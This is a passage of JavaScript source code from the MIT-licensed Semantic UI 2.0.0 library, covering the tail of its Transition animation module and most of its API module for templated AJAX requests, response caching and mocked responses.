             duration  : duration\n              });\n            }\n            // duration is actually settings object\n            else if(typeof duration == 'object') {\n              return $.extend({}, $.fn.transition.settings, duration, {\n                animation : animation\n              });\n            }\n            // duration is actually callback\n            else if(typeof duration == 'function') {\n              return $.extend({}, $.fn.transition.settings, {\n                animation  : animation,\n                onComplete : duration\n              });\n            }\n            // only animation provided\n            else {\n              return $.extend({}, $.fn.transition.settings, {\n                animation : animation\n              });\n            }\n            return $.fn.transition.settings;\n          },\n          animationClass: function(animation) {\n            var\n              animationClass = animation || settings.animation,\n              directionClass = (module.can.transition() && !module.has.direction())\n                ? module.get.direction() + ' '\n                : ''\n            ;\n            return className.animating + ' '\n              + className.transition + ' '\n              + directionClass\n              + animationClass\n            ;\n          },\n          currentAnimation: function() {\n            return module.cache.animation || false;\n          },\n          currentDirection: function() {\n            return module.is.inward()\n              ? className.inward\n              : className.outward\n            ;\n          },\n          direction: function() {\n            return module.is.hidden() || !module.is.visible()\n              ? className.inward\n              : className.outward\n            ;\n          },\n          animationDirection: function(animation) {\n            var\n              direction\n            ;\n            animation = animation || settings.animation;\n            if(typeof animation === 'string') {\n              animation = animation.split(' ');\n              // search animation name for out/in class\n              $.each(animation, function(index, word){\n                if(word === className.inward) {\n                  direction = className.inward;\n                }\n                else if(word === className.outward) {\n                  direction = className.outward;\n                }\n              });\n            }\n            // return found direction\n            if(direction) {\n              return direction;\n            }\n            return false;\n          },\n          duration: function(duration) {\n            duration = duration || settings.duration;\n            if(duration === false) {\n              duration = $module.css('animation-duration') || 0;\n            }\n            return (typeof duration === 'string')\n              ? (duration.indexOf('ms') > -1)\n                ? parseFloat(duration)\n                : parseFloat(duration) * 1000\n              : duration\n            ;\n          },\n          displayType: function() {\n            if(settings.displayType) {\n              return settings.displayType;\n            }\n            if($module.data(metadata.displayType) === undefined) {\n              // create fake element to determine display state\n              module.can.transition(true);\n            }\n            return $module.data(metadata.displayType);\n          },\n          userStyle: function(style) {\n            style = style || $module.attr('style') || '';\n            return style.replace(/display.*?;/, '');;\n          },\n          transitionExists: function(animation) {\n            return $.fn.transition.exists[animation];\n          },\n          animationStartEvent: function() {\n            var\n              element     = document.createElement('div'),\n              animations  = {\n                'animation'       :'animationstart',\n                'OAnimation'      :'oAnimationStart',\n                'MozAnimation'    :'mozAnimationStart',\n                'WebkitAnimation' :'webkitAnimationStart'\n              },\n              animation\n            ;\n            for(animation in animations){\n              if( element.style[animation] !== undefined ){\n                return animations[animation];\n              }\n            }\n            return false;\n          },\n          animationEndEvent: function() {\n            var\n              element     = document.createElement('div'),\n              animations  = {\n                'animation'       :'animationend',\n                'OAnimation'      :'oAnimationEnd',\n                'MozAnimation'    :'mozAnimationEnd',\n                'WebkitAnimation' :'webkitAnimationEnd'\n              },\n              animation\n            ;\n            for(animation in animations){\n              if( element.style[animation] !== undefined ){\n                return animations[animation];\n              }\n            }\n            return false;\n          }\n\n        },\n\n        can: {\n          transition: function(forced) {\n            var\n              animation         = settings.animation,\n              transitionExists  = module.get.transitionExists(animation),\n              elementClass,\n              tagName,\n              $clone,\n              currentAnimation,\n              inAnimation,\n              directionExists,\n              displayType\n            ;\n            if( transitionExists === undefined || forced) {\n              module.verbose('Determining whether animation exists');\n              elementClass = $module.attr('class');\n              tagName      = $module.prop('tagName');\n\n              $clone = $('<' + tagName + ' />').addClass( elementClass ).insertAfter($module);\n              currentAnimation = $clone\n                .addClass(animation)\n                .removeClass(className.inward)\n                .removeClass(className.outward)\n                .addClass(className.animating)\n                .addClass(className.transition)\n                .css('animationName')\n              ;\n              inAnimation = $clone\n                .addClass(className.inward)\n                .css('animationName')\n              ;\n              displayType = $clone\n                .attr('class', elementClass)\n                .removeAttr('style')\n                .removeClass(className.hidden)\n                .removeClass(className.visible)\n                .show()\n                .css('display')\n              ;\n              module.verbose('Determining final display state', displayType);\n              module.save.displayType(displayType);\n\n              $clone.remove();\n              if(currentAnimation != inAnimation) {\n                module.debug('Direction exists for animation', animation);\n                directionExists = true;\n              }\n              else if(currentAnimation == 'none' || !currentAnimation) {\n                module.debug('No animation defined in css', animation);\n                return;\n              }\n              else {\n                module.debug('Static animation found', animation, displayType);\n                directionExists = false;\n              }\n              module.save.transitionExists(animation, directionExists);\n            }\n            return (transitionExists !== undefined)\n              ? transitionExists\n              : directionExists\n            ;\n          },\n          animate: function() {\n            // can transition does not return a value if animation does not exist\n            return (module.can.transition() !== undefined);\n          }\n        },\n\n        is: {\n          animating: function() {\n            return $module.hasClass(className.animating);\n          },\n          inward: function() {\n            return $module.hasClass(className.inward);\n          },\n          outward: function() {\n            return $module.hasClass(className.outward);\n          },\n          looping: function() {\n            return $module.hasClass(className.looping);\n          },\n          occurring: function(animation) {\n            animation = animation || settings.animation;\n            animation = '.' + animation.replace(' ', '.');\n            return ( $module.filter(animation).length > 0 );\n          },\n          visible: function() {\n            return $module.is(':visible');\n          },\n          hidden: function() {\n            return $module.css('visibility') === 'hidden';\n          },\n          supported: function() {\n            return(animationEnd !== false);\n          }\n        },\n\n        hide: function() {\n          module.verbose('Hiding element');\n          if( module.is.animating() ) {\n            module.reset();\n          }\n          element.blur(); // IE will trigger focus change if element is not blurred before hiding\n          module.remove.display();\n          module.remove.visible();\n          module.set.hidden();\n          settings.onHide.call(this);\n          settings.onComplete.call(this);\n          module.force.hidden();\n          // module.repaint();\n        },\n\n        show: function(display) {\n          module.verbose('Showing element', display);\n          module.remove.hidden();\n          module.set.visible();\n          settings.onShow.call(this);\n          settings.onComplete.call(this);\n          module.force.visible();\n          // module.repaint();\n        },\n\n        toggle: function() {\n          if( module.is.visible() ) {\n            module.hide();\n          }\n          else {\n            module.show();\n          }\n        },\n\n        stop: function() {\n          module.debug('Stopping current animation');\n          $module.triggerHandler(animationEnd);\n        },\n\n        stopAll: function() {\n          module.debug('Stopping all animation');\n          module.remove.queueCallback();\n          $module.triggerHandler(animationEnd);\n        },\n\n        clear: {\n          queue: function() {\n            module.debug('Clearing animation queue');\n            module.remove.queueCallback();\n          }\n        },\n\n        enable: function() {\n          module.verbose('Starting animation');\n          $module.removeClass(className.disabled);\n        },\n\n        disable: function() {\n          module.debug('Stopping animation');\n          $module.addClass(className.disabled);\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        // modified for transition to return invoke success\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return (found !== undefined)\n            ? found\n            : false\n          ;\n        }\n      };\n      module.initialize();\n    })\n  ;\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n// Records if CSS transition is available\n$.fn.transition.exists = {};\n\n$.fn.transition.settings = {\n\n  // module info\n  name          : 'Transition',\n\n  // debug content outputted to console\n  debug         : false,\n\n  // verbose debug output\n  verbose       : false,\n\n  // performance data output\n  performance   : true,\n\n  // event namespace\n  namespace     : 'transition',\n\n  // delay between animations in group\n  interval      : 0,\n\n  // whether group animations should be reversed\n  reverse       : 'auto',\n\n  // animation callback event\n  onStart       : function() {},\n  onComplete    : function() {},\n  onShow        : function() {},\n  onHide        : function() {},\n\n  // whether timeout should be used to ensure callback fires in cases animationend does not\n  useFailSafe   : true,\n\n  // delay in ms for fail safe\n  failSafeDelay : 100,\n\n  // whether EXACT animation can occur twice in a row\n  allowRepeats  : false,\n\n  // Override final display type on visible\n  displayType   : false,\n\n  // animation duration\n  animation     : 'fade',\n  duration      : false,\n\n  // new animations will occur after previous ones\n  queue         : true,\n\n  metadata : {\n    displayType: 'display'\n  },\n\n  className   : {\n    animating  : 'animating',\n    disabled   : 'disabled',\n    hidden     : 'hidden',\n    inward     : 'in',\n    loading    : 'loading',\n    looping    : 'looping',\n    outward    : 'out',\n    transition : 'transition',\n    visible    : 'visible'\n  },\n\n  // possible errors\n  error: {\n    noAnimation : 'There is no css animation matching the one you specified. Please make sure your css is vendor prefixed, and you have included transition css.',\n    repeated    : 'That animation is already occurring, cancelling repeated animation',\n    method      : 'The method you called is not defined',\n    support     : 'This browser does not support CSS animations'\n  }\n\n};\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - API\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.api = $.fn.api = function(parameters) {\n\n  var\n    // use window context if none specified\n    $allModules     = $.isFunction(this)\n        ? $(window)\n        : $(this),\n    moduleSelector = $allModules.selector || '',\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.api.settings, parameters)\n          : $.extend({}, $.fn.api.settings),\n\n        // internal aliases\n        namespace       = settings.namespace,\n        metadata        = settings.metadata,\n        selector        = settings.selector,\n        error           = settings.error,\n        className       = settings.className,\n\n        // define namespaces for modules\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        // element that creates request\n        $module         = $(this),\n        $form           = $module.closest(selector.form),\n\n        // context used for state\n        $context        = (settings.stateContext)\n          ? $(settings.stateContext)\n          : $module,\n\n        // request details\n        ajaxSettings,\n        requestSettings,\n        url,\n        data,\n        requestStartTime,\n\n        // standard module\n        element         = this,\n        context         = $context[0],\n        instance        = $module.data(moduleNamespace),\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          if(!methodInvoked) {\n            module.bind.events();\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module for', element);\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n        },\n\n        bind: {\n          events: function() {\n            var\n              triggerEvent = module.get.event()\n            ;\n            if( triggerEvent ) {\n              module.verbose('Attaching API events to element', triggerEvent);\n              $module\n                .on(triggerEvent + eventNamespace, module.event.trigger)\n              ;\n            }\n            else if(settings.on == 'now') {\n              module.debug('Querying API now', triggerEvent);\n              module.query();\n            }\n          }\n        },\n\n        read: {\n          cachedResponse: function(url) {\n            var\n              response\n            ;\n            if(window.Storage === undefined) {\n              module.error(error.noStorage);\n              return;\n            }\n            response = sessionStorage.getItem(url);\n            module.debug('Using cached response', url, response);\n            if(response !== undefined) {\n              try {\n               response = JSON.parse(response);\n              }\n              catch(e) {\n                // didnt store object\n              }\n              return response;\n            }\n            return false;\n          }\n        },\n        write: {\n          cachedResponse: function(url, response) {\n            if(response && response === '') {\n              module.debug('Response empty, not caching', response);\n              return;\n            }\n            if(window.Storage === undefined) {\n              module.error(error.noStorage);\n              return;\n            }\n            if( $.isPlainObject(response) ) {\n              response = JSON.stringify(response);\n            }\n            sessionStorage.setItem(url, response);\n            module.verbose('Storing cached response for url', url, response);\n          }\n        },\n\n        query: function() {\n\n          if(module.is.disabled()) {\n            module.debug('Element is disabled API request aborted');\n            return;\n          }\n\n          if(module.is.loading()) {\n            if(settings.interruptRequests) {\n              module.debug('Interrupting previous request');\n              module.abort();\n            }\n            else {\n              module.debug('Cancelling request, previous request is still pending');\n              return;\n            }\n          }\n\n          // pass element metadata to url (value, text)\n          if(settings.defaultData) {\n            $.extend(true, settings.urlData, module.get.defaultData());\n          }\n\n          // Add form content\n          if(settings.serializeForm) {\n            settings.data = module.add.formData(settings.data);\n          }\n\n          // call beforesend and get any settings changes\n          requestSettings = module.get.settings();\n\n          // check if before send cancelled request\n          if(requestSettings === false) {\n            module.cancelled = true;\n            module.error(error.beforeSend);\n            return;\n          }\n          else {\n            module.cancelled = false;\n          }\n\n          // get url\n          url = module.get.templatedURL();\n\n          if(!url && !module.is.mocked()) {\n            module.error(error.missingURL);\n            return;\n          }\n\n          // replace variables\n          url = module.add.urlData( url );\n\n          // missing url parameters\n          if( !url && !module.is.mocked()) {\n            return;\n          }\n\n\n          // look for jQuery ajax parameters in settings\n          ajaxSettings = $.extend(true, {}, settings, {\n            type       : settings.method || settings.type,\n            data       : data,\n            url        : settings.base + url,\n            beforeSend : settings.beforeXHR,\n            success    : function() {},\n            failure    : function() {},\n            complete   : function() {}\n          });\n\n          module.debug('Querying URL', ajaxSettings.url);\n          module.verbose('Using AJAX settings', ajaxSettings);\n\n          if(settings.cache === 'local' && module.read.cachedResponse(url)) {\n            module.debug('Response returned from local cache');\n            module.request = module.create.request();\n            module.request.resolveWith(context, [ module.read.cachedResponse(url) ]);\n            return;\n          }\n\n          if( !settings.throttle ) {\n            module.debug('Sending request', data, ajaxSettings.method);\n            module.send.request();\n          }\n          else {\n            if(!settings.throttleFirstRequest && !module.timer) {\n              module.debug('Sending request', data, ajaxSettings.method);\n              module.send.request();\n              module.timer = setTimeout(function(){}, settings.throttle);\n            }\n            else {\n              module.debug('Throttling request', settings.throttle);\n              clearTimeout(module.timer);\n              module.timer = setTimeout(function() {\n                if(module.timer) {\n                  delete module.timer;\n                }\n                module.debug('Sending throttled request', data, ajaxSettings.method);\n                module.send.request();\n              }, settings.throttle);\n            }\n          }\n\n        },\n\n        is: {\n          disabled: function() {\n            return ($module.filter(selector.disabled).length > 0);\n          },\n          form: function() {\n            return $module.is('form');\n          },\n          mocked: function() {\n            return (settings.mockResponse || settings.mockResponseAsync);\n          },\n          input: function() {\n            return $module.is('input');\n          },\n          loading: function() {\n            return (module.request && module.request.state() == 'pending');\n          },\n          abortedRequest: function(xhr) {\n            if(xhr && xhr.readyState !== undefined && xhr.readyState === 0) {\n              module.verbose('XHR request determined to be aborted');\n              return true;\n            }\n            else {\n              module.verbose('XHR request was not aborted');\n              return false;\n            }\n          },\n          validResponse: function(response) {\n            if( settings.dataType !== 'json' || !$.isFunction(settings.successTest) ) {\n              module.verbose('Response is not JSON, skipping validation', settings.successTest, response);\n              return true;\n            }\n            module.debug('Checking JSON returned success', settings.successTest, response);\n            if( settings.successTest(response) ) {\n              module.debug('Response passed success test', response);\n              return true;\n            }\n            else {\n              module.debug('Response failed success test', response);\n              return false;\n            }\n          }\n        },\n\n        was: {\n          cancelled: function() {\n            return (module.cancelled || false);\n          },\n          succesful: function() {\n            return (module.request && module.request.state() == 'resolved');\n          },\n          failure: function() {\n            return (module.request && module.request.state() == 'rejected');\n          },\n          complete: function() {\n            return (module.request && (module.request.state() == 'resolved' || module.request.state() == 'rejected') );\n          }\n        },\n\n        add: {\n          urlData: function(url, urlData) {\n            var\n              requiredVariables,\n              optionalVariables\n            ;\n            if(url) {\n              requiredVariables = url.match(settings.regExp.required);\n              optionalVariables = url.match(settings.regExp.optional);\n              urlData           = urlData || settings.urlData;\n              if(requiredVariables) {\n                module.debug('Looking for required URL variables', requiredVariables);\n                $.each(requiredVariables, function(index, templatedString) {\n                  var\n                    // allow legacy {$var} style\n                    variable = (templatedString.indexOf('$') !== -1)\n                      ? templatedString.substr(2, templatedString.length - 3)\n                      : templatedString.substr(1, templatedString.length - 2),\n                    value   = ($.isPlainObject(urlData) && urlData[variable] !== undefined)\n                      ? urlData[variable]\n                      : ($module.data(variable) !== undefined)\n                        ? $module.data(variable)\n                        : ($context.data(variable) !== undefined)\n                          ? $context.data(variable)\n                          : urlData[variable]\n                  ;\n                  // remove value\n                  if(value === undefined) {\n                    module.error(error.requiredParameter, variable, url);\n                    url = false;\n                    return false;\n                  }\n                  else {\n                    module.verbose('Found required variable', variable, value);\n                    url = url.replace(templatedString, value);\n                  }\n                });\n              }\n              if(optionalVariables) {\n                module.debug('Looking for optional URL variables', requiredVariables);\n                $.each(optionalVariables, function(index, templatedString) {\n                  var\n                    // allow legacy {/$var} style\n                    variable = (templatedString.indexOf('$') !== -1)\n                      ? templatedString.substr(3, templatedString.length - 4)\n                      : templatedString.substr(2, templatedString.length - 3),\n                    value   = ($.isPlainObject(urlData) && urlData[variable] !== undefined)\n                      ? urlData[variable]\n                      : ($module.data(variable) !== undefined)\n                        ? $module.data(variable)\n                        : ($context.data(variable) !== undefined)\n                          ? $context.data(variable)\n                          : urlData[variable]\n                  ;\n                  // optional replacement\n                  if(value !== undefined) {\n                    module.verbose('Optional variable Found', variable, value);\n                    url = url.replace(templatedString, value);\n                  }\n                  else {\n                    module.verbose('Optional variable not found', variable);\n                    // remove preceding slash if set\n                    if(url.indexOf('/' + templatedString) !== -1) {\n                      url = url.replace('/' + templatedString, '');\n                    }\n                    else {\n                      url = url.replace(templatedString, '');\n                    }\n                  }\n                });\n              }\n            }\n            return url;\n          },\n          formData: function(data) {\n            var\n              canSerialize = ($.fn.serializeObject !== undefined),\n              formData     = (canSerialize)\n                ? $form.serializeObject()\n                : $form.serialize(),\n              hasOtherData\n            ;\n            data         = data || settings.data;\n            hasOtherData = $.isPlainObject(data);\n\n            if(hasOtherData) {\n              if(canSerialize) {\n                module.debug('Extending existing data with form data', data, formData);\n                data = $.extend(true, {}, data, formData);\n              }\n              else {\n                module.error(error.missingSerialize);\n                module.debug('Cant extend data. Replacing data with form data', data, formData);\n                data = formData;\n              }\n            }\n            else {\n              module.debug('Adding form data', formData);\n              data = formData;\n            }\n            return data;\n          }\n        },\n\n        send: {\n          request: function() {\n            module.set.loading();\n            module.request = module.create.request();\n            if( module.is.mocked() ) {\n              module.mockedXHR = module.create.mockedXHR();\n            }\n            else {\n              module.xhr = module.create.xhr();\n            }\n            settings.onRequest.call(context, module.request, module.xhr);\n          }\n        },\n\n        event: {\n          trigger: function(event) {\n            module.query();\n            if(event.type == 'submit' || event.type == 'click') {\n              event.preventDefault();\n            }\n          },\n          xhr: {\n            always: function() {\n              // calculate if loading time was below minimum threshold\n            },\n            done: function(response, textStatus, xhr) {\n              var\n                context      = this,\n                elapsedTime  = (new Date().getTime() - requestStartTime),\n                timeLeft     = (settings.loadingDuration - elapsedTime),\n                translatedResponse = ( $.isFunction(settings.onResponse) )\n                  ? settings.onResponse.call(context, $.extend(true, {}, response))\n                  : false\n              ;\n              timeLeft = (timeLeft > 0)\n                ? timeLeft\n                : 0\n              ;\n              if(translatedResponse) {\n                module.debug('Modified API response in onResponse callback', settings.onResponse, translatedResponse, response);\n                response = translatedResponse;\n              }\n              if(timeLeft > 0) {\n                module.debug('Response completed early delaying state change by', timeLeft);\n              }\n              setTimeout(function() {\n                if( module.is.validResponse(response) ) {\n                  module.request.resolveWith(context, [response]);\n                }\n                else {\n                  module.request.rejectWith(context, [xhr, 'invalid']);\n                }\n              }, timeLeft);\n            },\n            fail: function(xhr, status, httpMessage) {\n              var\n                context     = this,\n                elapsedTime = (new Date().getTime() - requestStartTime),\n                timeLeft    = (settings.loadingDuration - elapsedTime)\n              ;\n              timeLeft = (timeLeft > 0)\n                ? timeLeft\n                : 0\n              ;\n              if(timeLeft > 0) {\n                module.debug('Response completed early delaying state change by', timeLeft);\n              }\n              setTimeout(function() {\n                if( module.is.abortedRequest(xhr) ) {\n                  module.request.rejectWith(context, [xhr, 'aborted', httpMessage]);\n                }\n                else {\n                  module.request.rejectWith(context, [xhr, 'error', status, httpMessage]);\n                }\n              }, timeLeft);\n            }\n          },\n          request: {\n            complete: function(response) {\n              module.remove.loading();\n              settings.onComplete.call(context, response, $module);\n            },\n            done: function(response) {\n              module.debug('Successful API Response', response);\n              if(settings.cache === 'local' && url) {\n                module.write.cachedResponse(url, response);\n                module.debug('Saving server response locally', module.cache);\n              }\n              settings.onSuccess.call(context, response, $module);\n            },\n            fail: function(xhr, status, httpMessage) {\n              var\n                // pull response from xhr if available\n                response = $.isPlainObject(xhr)\n                  ? (xhr.responseText)\n                  : false,\n                errorMessage = ($.isPlainObject(response) && response.error !== undefined)\n                  ? response.error // use json error message\n                  : (settings.error[status] !== undefined) // use server error message\n                    ? settings.error[status]\n                    : httpMessage\n              ;\n              if(status == 'aborted') {\n                module.debug('XHR Aborted (Most likely caused by page navigation or CORS Policy)', status, httpMessage);\n                settings.onAbort.call(context, status, $module);\n              }\n              else if(status == 'invalid') {\n                module.debug('JSON did not pass success test. A server-side error has most likely occurred', response);\n              }\n              else if(status == 'error')  {\n\n                if(xhr !== undefined) {\n                  module.debug('XHR produced a server error', status, httpMessage);\n                  // make sure we have an error to display to console\n                  if( xhr.status != 200 && httpMessage !== undefined && httpMessage !== '') {\n                    module.error(error.statusMessage + httpMessage, ajaxSettings.url);\n                  }\n                  settings.onError.call(context, errorMessage, $module);\n                }\n              }\n\n              if(settings.errorDuration && status !== 'aborted') {\n                module.debug('Adding error state');\n                module.set.error();\n                setTimeout(module.remove.error, settings.errorDuration);\n              }\n              module.debug('API Request failed', errorMessage, xhr);\n              settings.onFailure.call(context, response, $module);\n            }\n          }\n        },\n\n        create: {\n\n          request: function() {\n            // api request promise\n            return $.Deferred()\n              .always(module.event.request.complete)\n              .done(module.event.request.done)\n              .fail(module.event.request.fail)\n            ;\n          },\n\n          mockedXHR: function () {\n            var\n              // xhr does not simulate these properties of xhr but must return them\n              textStatus  = false,\n              status      = false,\n              httpMessage = false,\n              asyncCallback,\n              response,\n              mockedXHR\n            ;\n\n            mockedXHR = $.Deferred()\n              .always(module.event.xhr.complete)\n              .done(module.event.xhr.done)\n              .fail(module.event.xhr.fail)\n            ;\n\n            if(settings.mockResponse) {\n              if( $.isFunction(settings.mockResponse) ) {\n                module.debug('Using mocked callback returning response', settings.mockResponse);\n                response = settings.mockResponse.call(context, settings);\n              }\n              else {\n                module.debug('Using specified response', settings.mockResponse);\n                response = settings.mockResponse;\n              }\n              // simulating response\n              mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]);\n            }\n            else if( $.isFunction(settings.mockResponseAsync) ) {\n              asyncCallback = function(response) {\n                module.debug('Async callback returned response', response);\n\n                if(response) {\n                  mockedXHR.resolveWith(context, [ response, textStatus, { responseText: response }]);\n                }\n                else {\n                  mockedXHR.rejectWith(context, [{ responseText: response }, status, httpMessage]);\n                }\n              };\n              module.debug('Using async mocked response', settings.mockResponseAsync);\n              settings.mockResponseAsync.call(context, settings, asyncCallback);\n            }\n            return mockedXHR;\n          },\n\n          xhr: function() {\n            var\n              xhr\n            ;\n            // ajax request promise\n            xhr = $.ajax(ajaxSettings)\n              .always(module.event.xhr.always)\n              .done(module.event.xhr.done)\n              .fail(module.event.xhr.fail)\n            ;\n            module.verbose('Created server request', xhr);\n            return xhr;\n          }\n        },\n\n        set: {\n          error: function() {\n            module.verbose('Adding error state to element', $context);\n            $context.addClass(className.error);\n          },\n          loading: function() {\n            module.verbose('Adding loading state to element', $context);\n            $context.addClass(className.loading);\n            requestStartTime = new Date().getTime();\n          }\n        },\n\n        remove: {\n          error: function() {\n            module.verbose('Removing error state from element', $context);\n            $context.removeClass(className.error);\n          },\n          loading: function() {\n            module.verbose('Removing loading state from element', $context);\n            $context.removeClass(className.loading);\n          }\n        },\n\n        get: {\n          request: function() {\n            return module.request || false;\n          },\n          xhr: function() {\n            return module.xhr || false;\n          },\n          settings: function() {\n            var\n              runSettings\n            ;\n            runSettings = settings.beforeSend.call(context, settings);\n            if(runSettings) {\n              if(runSettings.success !== undefined) {\n                module.debug('Legacy success callback detected', runSettings);\n                module.error(error.legacyParameters, runSettings.success);\n                runSettings.onSuccess = runSettings.success;\n              }\n              if(runSettings.failure !== undefined) {\n                module.debug('Legacy failure callback detected', runSettings);\n                module.error(error.legacyParameters, runSettings.failure);\n                runSettings.onFailure = runSettings.failure;\n              }\n              if(runSettings.complete !== undefined) {\n                module.debug('Legacy complete callback detected', runSettings);\n                module.error(error.legacyParameters, runSettings.complete);\n                runSettings.onComplete = runSettings.complete;\n              }\n            }\n            if(runSettings === undefined) {\n              module.error(error.noReturnedValue);\n            }\n            return (runSettings !== undefined)\n              ? runSettings\n              : settings\n            ;\n          },\n          defaultData: function() {\n            var\n              data = {}\n            ;\n            if( !$.isWindow(element) ) {\n              if( module.is.input() ) {\n                data.value = $module.val();\n              }\n              else if( !module.is.form() ) {\n\n              }\n              else {\n                data.text = $module.text();\n              }\n            }\n            return data;\n          },\n          event: function() {\n            if( $.isWindow(element) || settings.on == 'now' ) {\n              module.debug('API called without element, no events attached');\n              return false;\n            }\n            else if(settings.on == 'auto') {\n              if( $module.is('input') ) {\n                return (element.oninput !== undefined)\n                  ? 'input'\n                  : (element.onpropertychange !== undefined)\n                    ? 'propertychange'\n                    : 'keyup'\n                ;\n              }\n              else if( $module.is('form') ) {\n                return 'submit';\n              }\n              else {\n                return 'click';\n              }\n            }\n            else {\n              return settings.on;\n            }\n          },\n          templatedURL: function(action) {\n            action = action || $module.data(metadata.action) || settings.action || false;\n            url    = $module.data(metadata.url) || settings.url || false;\n            if(url) {\n              module.debug('Using specified url', url);\n              return url;\n            }\n            if(action) {\n              module.debug('Looking up url for action', action, settings.api);\n              if(settings.api[action] === undefined && !module.is.mocked()) {\n                module.error(error.missingAction, settings.action, settings.api);\n                return;\n              }\n              url = settings.api[action];\n            }\n            else if( module.is.form() ) {\n              url = $module.attr('action') || false;\n              module.debug('No url or action specified, defaulting to form action', url);\n            }\n            return url;\n          }\n        },\n\n        abort: function() {\n          var\n            xhr = module.get.xhr()\n          ;\n          if( xhr && xhr.state() !== 'resolved') {\n            module.debug('Cancelling API request');\n            xhr.abort();\n          }\n        },\n\n        // reset state\n        reset: function() {\n          module.remove.error();\n          module.remove.loading();\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        